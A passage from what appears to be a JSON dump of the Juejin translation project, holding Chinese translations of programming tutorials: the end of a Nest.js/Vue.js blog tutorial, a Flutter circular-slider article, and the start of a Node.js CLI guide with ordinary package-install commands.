并使用它来检索特定文章的详细信息。\n\n完成编辑后保存并关闭文件。关于应用的完整 `Post.vue` 文件，请访问 [DO Community repository](https://github.com/do-community/nest-vue-project/blob/master/blog-frontend/src/components/post/Post.vue)。\n\n接下来，要向用户显示所有创建的文章，我们需要创建一个新组件。定位到 `src/views` 中的 `views` 文件夹，您将看到 `Home.vue` 组件 —— 如果此文件不存在，请使用文本编辑器创建它，并添加以下代码：\n\n~blog-frontend/src/views/Home.vue\n\n```vue\n<template>\n    <div>\n\n      <div class=\"text-center\">\n        <h1>Nest Blog Tutorial</h1>\n       <p> This is the description of the blog built with Nest.js, Vue.js and MongoDB</p>\n\n       <div v-if=\"posts.length === 0\">\n            <h2> No post found at the moment </h2>\n        </div>\n      </div>\n\n        <div class=\"row\">\n           <div class=\"col-md-4\" v-for=\"post in posts\" :key=\"post._id\">\n              <div class=\"card mb-4 shadow-sm\">\n                <div class=\"card-body\">\n                   <h2 class=\"card-img-top\">{{ post.title }}</h2>\n                  <p class=\"card-text\">{{ post.body }}</p>\n                  <div class=\"d-flex justify-content-between align-items-center\">\n                    <div class=\"btn-group\" style=\"margin-bottom: 20px;\">\n                      <router-link :to=\"{name: 'Post', params: {id: post._id}}\" class=\"btn btn-sm btn-outline-secondary\">View Post </router-link>\n                       <router-link :to=\"{name: 'Edit', params: {id: post._id}}\" class=\"btn btn-sm btn-outline-secondary\">Edit Post </router-link>\n                       <button class=\"btn btn-sm btn-outline-secondary\" v-on:click=\"deletePost(post._id)\">Delete Post</button>\n                    </div>\n                  </div>\n\n                  <div class=\"card-footer\">\n                    <small class=\"text-muted\">Posted on: {{ post.date_posted}}</small><br/>\n                    <small class=\"text-muted\">by: {{ post.author}}</small>\n                  </div>\n\n                </div>\n              </div>\n            </div>\n      </div>\n    </div>\n</template>\n```\n\n这里，在 `<template>` 部分中，通过 `post._id` 参数，我们使用 `<router-link>` 来创建用于编辑文章和查看文章的链接。我们还使用了 `v-if` 指令为用户有选择地呈现文章。如果数据库中没有文章，用户将只看到以下文本：**No post found at the moment（暂时没有发现任何文章）**.\n\n完成编辑后保存并关闭文件。关于应用的完整 `Home.vue` 文件，请访问 [DO Community repository](https://github.com/do-community/nest-vue-project/blob/master/blog-frontend/src/components/post/Home.vue)。\n\n现在，直接在 `Home.vue` 中的 `</template>` 部分之后，添加以下 `</script>` 部分：\n\n~blog-frontend/src/views/Home.vue\n\n```js\n...\n<script>\n// @ 是 /src 的别名\nimport { server } from \"@/utils/helper\";\nimport axios from \"axios\";\n\nexport default {\n  data() {\n    return {\n      posts: []\n    };\n  },\n  created() {\n    this.fetchPosts();\n  },\n  methods: {\n    fetchPosts() {\n      axios\n        .get(`${server.baseURL}/blog/posts`)\n        .then(data => (this.posts = data.data));\n    },\n    deletePost(id) {\n      axios.delete(`${server.baseURL}/blog/delete?postID=${id}`).then(data => {\n        console.log(data);\n        window.location.reload();\n      });\n    }\n  }\n};\n</script>\n```\n\n在这个文件的 `<script>` 部分中，我们创建了一个名为 `fetchPosts()` 的方法来从数据库获取所有的文章，并使用服务器返回的数据更新页面。\n\n现在，我们将更新前端应用的 `App` 组件，以便创建到 `Home` 组件和 `Create` 组件的链接。打开 `src/App.vue`，用以下内容更新它：\n\n~blog-frontend/src/App.vue\n\n```vue\n<template>\n  <div id=\"app\">\n    <div id=\"nav\">\n      <router-link to=\"/\">Home</router-link> |\n      <router-link to=\"/create\">Create</router-link>\n    </div>\n    <router-view/>\n  </div>\n</template>\n\n<style>\n#app {\n  font-family: \"Avenir\", Helvetica, Arial, sans-serif;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  color: #2c3e50;\n}\n#nav {\n  padding: 30px;\n  text-align: center;\n}\n\n#nav a {\n  font-weight: bold;\n  color: #2c3e50;\n}\n\n#nav a.router-link-exact-active {\n  color: #42b983;\n}\n</style>\n```\n\n上面的代码中，除了包含到 `Home` 和 `Create` 组件的链接之外，还包含了 `<Style>` 部分，它是这个组件的样式表，包含着页面上一些元素的样式定义。保存并退出文件。\n\n在这一节中，我们已经创建了应用所需的所有组件。接下来，我们将配置路由文件。\n\n## 第九步 —— 搭建路由\n\n在创建了所有需要的可复用组件之后，现在我们可以通过更新包含所有组件链接的路由文件，来正确配置路由文件。这将保证前端应用中的所有的路由都会映射到特定的组件，以便采取适当的操作。定位到 `./src/router.js`，并将其内容替换为以下内容：\n\n~blog-frontend/src/router.js\n\n```js\nimport Vue from 'vue'\nimport Router from 'vue-router'\nimport HomeComponent from '@/views/Home';\nimport EditComponent from '@/components/post/Edit';\nimport CreateComponent from '@/components/post/Create';\nimport PostComponent from '@/components/post/Post';\n\nVue.use(Router)\n\nexport default new Router({\n  mode: 'history',\n  routes: [\n    { path: '/', redirect: { name: 'home' } },\n    { path: '/home', name: 'home', component: HomeComponent },\n    { path: '/create', name: 'Create', component: CreateComponent },\n    { path: '/edit/:id', name: 'Edit', component: EditComponent },\n    { path: '/post/:id', name: 'Post', component: PostComponent }\n  ]\n});\n```\n\n我们从 `vue-router` 模块中导入了 `Router`，并通过传递 `mode` 和 `route` 参数实例化了它。`vue-router` 的默认模式是 hash 模式，该模式使用 URL 的 hash 来一个模拟完整的 URL，于是当 URL 更改时页面不会重新加载。如果不需要 hash 模式，我们可以在此处使用 history 模式来实现 URL 的路由而无需重新加载页面。最后，在 `routes` 选项中，我们指定了路由的具体对应组件 —— 应用中调用路由时应该呈现的组件和组件的名称。保存并退出文件。\n\n既然我们已经搭建好了应用的路由，现在就需要引入 Bootstrap 文件来预制应用用户界面的样式。我们需要在文本编辑器中打开 `./public/index.html` 文件，并通过在文件中添加以下内容来包含用于 Bootstrap 的 CDN 文件：\n\n~blog-frontend/public/index.html\n\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  ...\n  <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css\">\n  <title>blog-frontend</title>\n</head>\n<body>\n   ...\n</body>\n</html>\n```\n\n保存并退出文件，然后使用 `npm run serve` 为我们的 `blog-frontend` 项目重新启动应用（如果它当前没有运行的话）。\n\n**注意：** 确保后端服务器和 MongoDB 实例都在运行。如果没有的话，从另一个新的终端定位到 `blog-backend` 项目下并运行 `npm run start`。同样，通过从一个新的终端运行 `sudo mongod` 来启动 MongoDB 服务。\n\n通过 URL 跳转到我们的应用：`http://localhost:8080`。现在您可以通过创建和编辑文章来测试您的博客啦！\n\n![Alt 创建一篇新文章](https://assets.digitalocean.com/articles/nest_vue_mongo/step9a.png)\n\n单击应用上的 **Create** 以查看 **Create Post** 视图，该视图与 `CreateComponent` 组件相关并会渲染该组件。在 input 框中输入内容，然后单击 **Create Post** 按钮提交一篇文章。完成后，应用将把您重定向回主页。\n\n应用的主页呈现的是组件 `HomeComponent`。这个组件会调用一个它的方法，会发送一个 HTTP 调用来从数据库获取所有的文章并将它们显示给用户。\n\n![Alt 从数据库中查看所有的文章](https://assets.digitalocean.com/articles/nest_vue_mongo/step9b.png)\n\n点击某个特定文章的 **Edit Post** 按钮，您会进入一个编辑页面，在那里您可以做任何修改并保存您的文章。\n\n![Alt 修改一篇新发的文章](https://assets.digitalocean.com/articles/nest_vue_mongo/step9c.png)\n\n在本节中，我们配置并搭建了应用的路由。到这里，我们的博客应用就准备好了。\n\n## 总结\n\n在本教程中，您通过使用 Nest.js 来探索了构造 Node.js 应用的新方法。您创建了一个简单的博客应用，使用 Nest.js 构建后端 RESTful API，使用 Vue.js 处理了所有前端逻辑。此外，您还将 MongoDB 数据库集成到 Nest.js 应用中。\n\n想要了解关于如何将身份验证添加到应用中，您可以使用 [Passport.js](http://www.passportjs.org/)。一个流行的 Node.js 认证库。您可以在 [Nest.js 文档](https://docs.nestjs.com/techniques/authentication)中了解关于 Passport.js 的集成。\n\n您可以在[这个项目的 GitHub ](https://github.com/do-community/nest-vue-project)上找到项目的完整源代码。想要获取更多关于 Nest 的信息。您可以访问[官方文档](https://docs.nestjs.com/)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-a-circular-slider-in-flutter.md",
    "content": "> * 原文地址：[How to build a circular slider in Flutter](https://medium.com/@danaya/how-to-build-a-circular-slider-in-flutter-cab3fc5312df)\n> * 原文作者：[David Anaya](https://medium.com/@danaya)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-circular-slider-in-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-circular-slider-in-flutter.md)\n> * 译者：[DevMcryYu](https://github.com/DevMcryYu)\n> * 校对者：[MollyAredtana](https://github.com/MollyAredtana)，[JasonLinkinBright](https://github.com/JasonLinkinBright)\n\n# 用 Flutter 打造一个圆形滑块（Slider）\n\n![](https://cdn-images-1.medium.com/max/800/1*XDX3K2X8DhDCSNvzmezl4A.png)\n\n你是否也曾想要通过为滑块添加双重滑块或修改其布局来让它看起来不那么无聊？\n\n在这篇文章中我会展示如何通过整合 [GestureDetector](https://docs.flutter.io/flutter/widgets/GestureDetector-class.html) 以及 [Canvas](https://docs.flutter.io/flutter/dart-ui/Canvas-class.html) 来在 Flutter 中构建一个圆形滑块。\n\n如果你对构建它的过程不感兴趣，仅仅是为了获取此部件并使用它，那么你可以使用我在 [https://pub.dartlang.org/packages/flutter\\_circular\\_slider](https://pub.dartlang.org/packages/flutter_circular_slider) 发布的程序包。\n\n## 为什么要用圆形滑块？\n\n大多数情况下你并不会需要它。但想象一下：如果你想要用户选定一个时间段，或者只是想要一个比直线形状更有趣一点的常规滑块的场景时，就可以使用圆形滑块。\n\n## 用什么来构建它？\n\n我们要准备的第一件事就是创建一个真正的滑块。为此，我们要用一个完美的圆形作为背景，在它的基础上再画一个根据用户交互可以动态显示的圆。为了实现我们的想法，我们将用到一个名为 **CustomPaint** 的特殊部件，它提供一个允许让我们自由创作的画布（Canvas）。\n\n当滑块渲染完成以后，我们希望用户能够和它进行交互，因此我们选择使用 **GestureDetector** 封装它来捕获点击及拖动事件。\n\n完整流程是：\n\n- 绘制滑块\n- 当用户通过点击其中一个滑块并拖动它来与圆形滑块交互时识别此事件。\n- 将事件的附加信息向下传递给画布（Canvas），在这里我们将重新绘制顶部圆形。\n- 将新值一路向上传递给相应的 Handler，以便让用户观察到变化。（例如，更新滑块中心的文字显示）。\n\n![](https://cdn-images-1.medium.com/max/800/1*pYN7CYWPxJikCq6aZ12OwA.png)\n\n（只需关注上图黄色部分）\n\n## 来画几个圆吧\n\n我们要做的第一件事就是画两个圆。一个静态样式（无需改变），另一个则是动态的样式（响应用户交互），我使用两个 Painter 来分别绘制它们。\n\n两个 Painter 都继承自 **CustomPainter** —— 一个由 **Flutter** 提供并实现 `paint()` 及 `shouldRepaint()` 方法的类。第一个方法用来绘制我们想要绘制的形状，第二个方法在有变化时进行重新绘制的时候调用。对于 **BasePainter** 而言我们永远不会需要重绘，因此它的返回值总是 false。而对于 **SliderPainter** 来说它总是返回 true，因为每次更改都意味着用户移动了滑块，必须更新所选择的项。\n\n```\nimport 'package:flutter/material.dart';\n\nclass BasePainter extends CustomPainter {\n  Color baseColor;\n\n  Offset center;\n  double radius;\n\n  BasePainter({@required this.baseColor});\n\n  @override\n  void paint(Canvas canvas, Size size) {\n    Paint paint = Paint()\n        ..color = baseColor\n        ..strokeCap = StrokeCap.round\n        ..style = PaintingStyle.stroke\n        ..strokeWidth = 12.0;\n\n    center = Offset(size.width / 2, size.height / 2);\n    radius = min(size.width / 2, size.height / 2);\n\n    canvas.drawCircle(center, radius, paint);\n  }\n\n  @override\n  bool shouldRepaint(CustomPainter oldDelegate) {\n    return false;\n  }\n}\n```\n\n可以看到，`paint()` 方法获得一个 **Canvas** 和一个 **Size** 参数。**Canvas** 提供一组方法可以让我们绘制任何形状：圆形、直线、圆弧、矩形等等。**Size** 参数即是画布的尺寸，由画布适配的部件尺寸决定。我们还需要一个 **Paint**，允许我们定制样式、颜色以及其他东西。\n\n现在 **BasePainter** 的功能用法已经不言自明，然而 **SliderPainter** 却有一点儿不寻常，现在我们不仅要绘制一个圆弧而非圆，还需要绘制 Handler。\n\n```\nimport 'dart:math';\n\nimport 'package:flutter/material.dart';\nimport 'package:flutter_circular_slider/src/utils.dart';\n\nclass SliderPainter extends CustomPainter {\n  double startAngle;\n  double endAngle;\n  double sweepAngle;\n  Color selectionColor;\n\n  Offset initHandler;\n  Offset endHandler;\n  Offset center;\n  double radius;\n\n  SliderPainter(\n      {@required this.startAngle,\n      @required this.endAngle,\n      @required this.sweepAngle,\n      @required this.selectionColor});\n\n  @override\n  void paint(Canvas canvas, Size size) {\n    if (startAngle == 0.0 && endAngle == 0.0) return;\n\n    Paint progress = _getPaint(color: selectionColor);\n\n    center = Offset(size.width / 2, size.height / 2);\n    radius = min(size.width / 2, size.height / 2);\n\n    canvas.drawArc(Rect.fromCircle(center: center, radius: radius),\n        -pi / 2 + startAngle, sweepAngle, false, progress);\n\n    Paint handler = _getPaint(color: selectionColor, style: PaintingStyle.fill);\n    Paint handlerOutter = _getPaint(color: selectionColor, width: 2.0);\n\n    // 绘制 handler\n    initHandler = radiansToCoordinates(center, -pi / 2 + startAngle, radius);\n    canvas.drawCircle(initHandler, 8.0, handler);\n    canvas.drawCircle(initHandler, 12.0, handlerOutter);\n\n    endHandler = radiansToCoordinates(center, -pi / 2 + endAngle, radius);\n    canvas.drawCircle(endHandler, 8.0, handler);\n    canvas.drawCircle(endHandler, 12.0, handlerOutter);\n  }\n\n  Paint _getPaint({@required Color color, double width, PaintingStyle style}) =>\n      Paint()\n        ..color = color\n        ..strokeCap = StrokeCap.round\n        ..style = style ?? PaintingStyle.stroke\n        ..strokeWidth = width ?? 12.0;\n\n  @override\n  bool shouldRepaint(CustomPainter oldDelegate) {\n    return true;\n  }\n}\n```\n\n再一次地，我们获取了 center 和 radius 的值，但我们这次绘制的是圆弧。**SliderPainter** 将根据用户交互反馈的值作为 start、end 和 sweap 属性的值，以便于我们根据这些参数来绘制圆弧。值得一提的是我们需要从初始角度中减去 **pi/2**，因为我们的滑块的圆弧的起始位置是在圆形的正上方，而 `drawArc()` 方法使用 x 轴正轴作为起始位置。\n\n当我们绘制好圆弧以后我们就需要准备绘制 Handler 了。为此，我们将分别绘制两个圆，一个在内部填充，一个在外部包裹。我调用了一些工具集函数用来将弧度转换为圆的坐标。你可以在 [Github 仓库内查阅这些函数](https://github.com/davidanaya/flutter-circular-slider/blob/master/lib/src/utils.dart)。\n\n## 让滑块响应交互\n\n目前来看，仅仅使用 **CustomPaint** 以及两个 Painter 就已经足够绘制想要的东西了。然而它们还是不能够进行交互。因此就要使用 **GestureDetector** 来对它进行封装。这样一来我们就可以在画布上对用户事件做出相应处理。\n\n一开始我们将为 Handler 赋初值，当获取这些 Handler 的坐标后，我们将按照以下策略执行操作：\n\n- 监听对于 Handler 的点击（按下）事件并更新相应 Handler 的状态。（**_xHandlerSelected = true**）。\n- 监听被选中 Handler 的拖动更新事件，更新其坐标，同时分别向下、向上传递给 **SliderPainter** 和我们的回调函数。\n- 监听 Handler 的点击（抬起）事件并重置未选中 Handler 的状态。\n\n因为我们需要分别计算出坐标值、新的角度值再传递给 Handler 和 Painter，所以我们的 **CircularSliderPaint** 必须是一个 **StatefulWidget**。\n\n```\nimport 'package:flutter/material.dart';\nimport 'package:flutter_circular_slider/src/base_painter.dart';\nimport 'package:flutter_circular_slider/src/slider_painter.dart';\nimport 'package:flutter_circular_slider/src/utils.dart';\n\nclass CircularSliderPaint extends StatefulWidget {\n  final int init;\n  final int end;\n  final int intervals;\n  final Function onSelectionChange;\n  final Color baseColor;\n  final Color selectionColor;\n  final Widget child;\n\n  CircularSliderPaint(\n      {@required this.intervals,\n      @required this.init,\n      @required this.end,\n      this.child,\n      @required this.onSelectionChange,\n      @required this.baseColor,\n      @required this.selectionColor});\n\n  @override\n  _CircularSliderState createState() => _CircularSliderState();\n}\n\nclass _CircularSliderState extends State<CircularSliderPaint> {\n  bool _isInitHandlerSelected = false;\n  bool _isEndHandlerSelected = false;\n\n  SliderPainter _painter;\n\n  /// 用弧度制表示的起始角度，用来确定 init Handler 的位置。\n  double _startAngle;\n\n  /// 用弧度制表示的结束角度，用来确定 end Handler 的位置。\n  double _endAngle;\n\n  /// 用弧度制表示的选择区间的绝对角度（夹角）\n  double _sweepAngle;\n\n  @override\n  void initState() {\n    super.initState();\n    _calculatePaintData();\n  }\n\n  // 我们需要使用 gesture detector 来更新此部件，\n  // 当父部件重建自己时也是如此。\n  @override\n  void didUpdateWidget(CircularSliderPaint oldWidget) {\n    super.didUpdateWidget(oldWidget);\n    if (oldWidget.init != widget.init || oldWidget.end != widget.end) {\n      _calculatePaintData();\n    }\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return GestureDetector(\n      onPanDown: _onPanDown,\n      onPanUpdate: _onPanUpdate,\n      onPanEnd: _onPanEnd,\n      child: CustomPaint(\n        painter: BasePainter(\n            baseColor: widget.baseColor,\n            selectionColor: widget.selectionColor),\n        foregroundPainter: _painter,\n        child: Padding(\n          padding: const EdgeInsets.all(12.0),\n          child: widget.child,\n        ),\n      ),\n    );\n  }\n\n  void _calculatePaintData() {\n    double initPercent = valueToPercentage(widget.init, widget.intervals);\n    double endPercent = valueToPercentage(widget.end, widget.intervals);\n    double sweep = getSweepAngle(initPercent, endPercent);\n\n    _startAngle = percentageToRadians(initPercent);\n    _endAngle = percentageToRadians(endPercent);\n    _sweepAngle = percentageToRadians(sweep.abs());\n\n    _painter = SliderPainter(\n      startAngle: _startAngle,\n      endAngle: _endAngle,\n      sweepAngle: _sweepAngle,\n      selectionColor: widget.selectionColor,\n    );\n  }\n\n  _onPanUpdate(DragUpdateDetails details) {\n    if (!_isInitHandlerSelected && !_isEndHandlerSelected) {\n      return;\n    }\n    if (_painter.center == null) {\n      return;\n    }\n    RenderBox renderBox = context.findRenderObject();\n    var position = renderBox.globalToLocal(details.globalPosition);\n\n    var angle = coordinatesToRadians(_painter.center, position);\n    var percentage = radiansToPercentage(angle);\n    var newValue = percentageToValue(percentage, widget.intervals);\n\n    if (_isInitHandlerSelected) {\n      widget.onSelectionChange(newValue, widget.end);\n    } else {\n      widget.onSelectionChange(widget.init, newValue);\n    }\n  }\n\n  _onPanEnd(_) {\n    _isInitHandlerSelected = false;\n    _isEndHandlerSelected = false;\n  }\n\n  _onPanDown(DragDownDetails details) {\n    if (_painter == null) {\n      return;\n    }\n    RenderBox renderBox = context.findRenderObject();\n    var position = renderBox.globalToLocal(details.globalPosition);\n    if (position != null) {\n      _isInitHandlerSelected = isPointInsideCircle(\n          position, _painter.initHandler, 12.0);\n      if (!_isInitHandlerSelected) {\n        _isEndHandlerSelected = isPointInsideCircle(\n            position, _painter.endHandler, 12.0);\n      }\n    }\n  }\n}\n```\n\n这里有几点需要注意：\n\n- 我们想要在 Handler（以及选择区间）的位置更新时通知父部件，这也是该部件对外暴露了一个回调函数 `onSelectionChange()` 的原因。\n- 当用户与滑块进行交互时，该部件需要被重新渲染，当起始位置的参数值改变时也需如此。这就是为什么我们有必要使用 `didUpdateWidget()` 方法。\n- *CustomPaint* 同样可以接收一个 **child** 参数，这样我们就可以使用它在圆的内部渲染生成一些其他东西。只需要在 final widget 里暴露相同的参数，使用者就可以向其中传入任何想要的值。\n- 我们使用一个间隔用以设置滑块的值。我们可以以此方便的将选择区间以百分比的形式表示。\n- 再一次申明，为了在百分比、弧度以及坐标之间转换我调用了不同的工具集函数。画布（Canvas）中的坐标系与一般坐标系有一些不同，比如说画布坐标系是以左上角作为坐标原点，这样一来 x、y 的值都将一直是一个正值。同样的，弧度制的表示是以 x 正坐标轴开始并以顺时针方向（总是正值）从 **0** 到 **2*pi** 计量。\n- 最后，Handler 的坐标计算以画布的原点为参考，而 **GestureDetector** 的坐标则是相对设备而言的，是全局的，因此我们需要用到 `RenderBox.globalToLocal()` 方法来对它们进行转换。该方法使用部件的 Context 作为参考。\n\n有了这些，我们也就拥有了打造圆形滑块的一切需要。\n\n## 额外的功能\n\n由于篇幅有限，在这里并没有展开讲解所有的细节。你可以查看本项目的仓库，我会乐于回答评论中的任何问题。\n\n在最终的版本里我添加了一些额外的功能，比如自定义选择区间和 Handler 的颜色；如果你想实现类似时钟的样式（小时和分钟）你可以根据需求进行选择。为了方便各位使用，我同样将所有内容打包放进了一个最终的部件内。\n\n你也可以通过从 [https://pub.dartlang.org/packages/flutter\\_circular\\_slider](https://pub.dartlang.org/packages/flutter_circular_slider) 导入本库的方式来使用这个部件。\n\n文章至此告一段落，感谢各位的阅读！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-a-cli-with-node-js.md",
    "content": "> * 原文地址：[How to build a CLI with Node.js](https://www.twilio.com/blog/how-to-build-a-cli-with-node-js)\n> * 原文作者：[dkundel](https://twitter.com/dkundel?lang=en)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-cli-with-node-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-cli-with-node-js.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[suhanyujie](https://github.com/suhanyujie)\n\n# 如何使用 Node.js 构建一个命令行应用（CLI）\n\n![atZ3n9vMFjjXDl_XxDtL_FCRSOt6EF0d8LnbMRCCJQUesMme8lzdGpCyMr4-wt1nlIGuoT29EI_tkVpuD_P2mxzbfhbn-ZPcqmZ5QCY_nM9d4ywWEYQxKYc9mjxUnp_uFJzMOMnr](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/atZ3n9vMFjjXDl_XxDtL_FCRSOt6EF0d8LnbMRCCJQUesM.width-808.png)\n\nNode.js 内建的命令行应用（CLI）让你能够在使用其庞大的生态系统的同时自动化地执行重复性的任务。并且，多亏了像 [`npm`](https://www.npmjs.com/) 和 [`yarn`](https://yarnpkg.com/) 这样的包管理工具，让这些命令行应用可以很容易就在多个平台上分发和使用。在本篇文章中，我将会讲述为何需要写 CLI，如何使用 Node.js 完成它，一些实用的包，以及你如何发布你新写好的 CLI。\n\n## 为什么要用 Node.js 创建命令行应用\n\nNode.js 能够如此流行的原因之一就是它有丰富的包生态系统，如今在 [`npm` 注册处](https://npmjs.com) 已经有超过 900000 个包。通过在 Node.js 中写你自己的 CLI，你就可以进入这个生态系统，而其中也包含了巨额数目的针对 CLI 的包。包括：\n\n* [`inquirer`](http://npm.im/inquirer)，[`enquirer`](http://npm.im/enquirer) 或者 [`prompts`](https://npm.im/prompts)，可用于处理复杂的输入提示\n* [`email-prompt`](http://npm.im/email-prompt) 可方便地提示邮箱输入\n* [`chalk`](http://npm.im/chalk) 或 [`kleur`](https://npm.im/kleur) 可用于彩色输出\n* [`ora`](http://npm.im/ora) 是一个好看的加载提示\n* [`boxen`](http://npm.im/boxen) 可以用于在你的输出外加上边框\n* [`stmux`](http://npm.im/stmux) 可以提供一个和 `tmux` 类似的多终端界面\n* [`listr`](http://npm.im/listr) 可以展示进程列表\n* [`ink`](http://npm.im/ink) 可以使用 React 构建 CLI\n* [`meow`](http://npm.im/meow) 或者 [`arg`](http://npm.im/arg) 可以用于基本的参数解析\n* [ `commander`](http://npm.im/commander) 和 [`yargs`](https://www.npmjs.com/package/yargs) 可以用来比较复杂的参数解析，并支持子命令\n* [`oclif`](https://oclif.io/) 是一个用于构建可扩展 CLI 的框架，作者是 Heroku（[`gluegun`](https://infinitered.github.io/gluegun/#/) 可作为替换方案）\n\n还有很多方便的方法可以用来使用 CLI，它们都发布在 `npm` 上，可以同时使用 `yarn` 和 `npm` 进行管理。例如 `create-flex-plugin`，是一个可以用来为 [Twilio Flex](https://twilio.com/flex) 创建插件的 CLI。你可以使用全局命令来安装它：\n\n```\n# 使用 npm 安装：\nnpm install -g create-flex-plugin\n# 使用 yarn 安装：\nyarn global add create-flex-plugin\n# 安装之后你就可以使用了：\ncreate-flex-plugin\n```\n\n或者它也可以作为项目依赖：\n\n```\n# 使用 npm 安装：\nnpm install create-flex-plugin --save-dev\n# 使用 yarn 安装：\nyarn add create-flex-plugin --dev\n# 安装之后命令将被保存在\n./node_modules/.bin/create-flex-plugin\n# 或者通过由 npm 支持的 npx 使用：\nnpx create-flex-plugin\n# 以及通过 yarn 使用：\nyarn create-flex-plugin\n```\n\n事实上，`npx` 能支持在没有安装的时候就执行 CLI。只需要运行 `npx create-flex-plugin`，这时候如果找不到本地或者全局的已安装版本，它将会自动下载这个包并放入缓存中。\n\n从 `npm` 6.1 版本后，`npm init` 和 `yarn` 都支持使用 CLI 来构建项目，命令的名字形如 `create-*`。例如，刚才说的 `create-flex-plugin`，我们要做的就是：\n\n```\n# 使用 Node.js：\nnpm init flex-plugin\n# 使用 Yarn：\nyarn create flex-plugin\n```\n\n## 构建第一个 CLI\n\n如果你更喜欢看视频学习，[点击这里在 YouTube 观看教程](https://www.youtube.com/watch?v=s2h28p4s-Xs)。\n\n目前我们已经解释过用 Node.js 创建 CLI 的原因，现在就让我们开始构建一个 CLI 吧。在本篇教程里，我们会使用 `npm`，但如果你想用 `yarn`，绝大多数的命令也都是相同的。确保你的系统中已经安装了 [Node.js](https://nodejs.org/en/download/) 和 [`npm`](https://www.npmjs.com/)。\n\n本篇教程中，我们将会创建一个 CLI，通过运行命令 `npm init @your-username/project`，它可以根据你的偏好构建一个新的项目。\n\n通过运行如下代码，开始一个新的 Node.js 项目：\n\n```\nmkdir create-project && cd create-project\nnpm init --yes\n```\n\n之后在项目的根目录下创建一个名为 `src/` 的目录，然后将一个名为 `cli.js` 的文件放在这个目录下，并在文件中写入代码：\n\n```js\nexport function cli(args) {\n console.log(args);\n}\n```\n\n在这个函数中，我们将会解析参数逻辑并触发实际需要的业务逻辑。接下来，我们需要创建 CLI 的入口。在项目根目录下创建目录 `bin/` 然后创建一个名为 `create-project` 的文件。写入代码：\n\n```js\n#!/usr/bin/env node\n\nrequire = require('esm')(module /*, options*/);\nrequire('../src/cli').cli(process.argv);\n```\n\n在这一小片代码中，完成了几件事情。首先，我们引入了一个名为 `esm` 的模块，这个模块让我们能在其他文件中使用 `import`。这和构建 CLI 并不直接相关，但是本篇教程中我们需要使用 [ES 模块](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)，而包 `esm` 让我们能在 Node.js 版本不支持时无需代码转换而使用 ES 模块。然后我们引入 `cli.js` 文件并调用函数 `cli`，并将 [`process.argv`](https://nodejs.org/api/process.html#process_process_argv) 传入，它是从命令行传入函数脚本的参数数组。\n\n在我们测试脚本之前，需要通过运行如下命令安装 `esm` 依赖：\n\n```\nnpm install esm\n```\n\n另外，我们还要将暴露 CLI 脚本的需求同步给包管理器。方法是在 `package.json` 文件中添加合适的入口。别忘了也要更新属性 `description`、`name`、`keyword` 和 `main`：\n\n```js\n{\n \"name\": \"@your_npm_username/create-project\",\n \"version\": \"1.0.0\",\n \"description\": \"A CLI to bootstrap my new projects\",\n \"main\": \"src/index.js\",\n \"bin\": {\n   \"@your_npm_username/create-project\": \"bin/create-project\",\n   \"create-project\": \"bin/create-project\"\n },\n \"publishConfig\": {\n   \"access\": \"public\"\n },\n \"scripts\": {\n   \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n },\n \"keywords\": [\n   \"cli\",\n   \"create-project\"\n ],\n \"author\": \"YOUR_AUTHOR\",\n \"license\": \"MIT\",\n \"dependencies\": {\n   \"esm\": \"^3.2.18\"\n }\n}\n```\n\n如果你注意到 `bin` 属性，你会发现我们将其定义为一个具有两个键值对的对象。这个对象内定义的是包管理器将会安装的 CLI 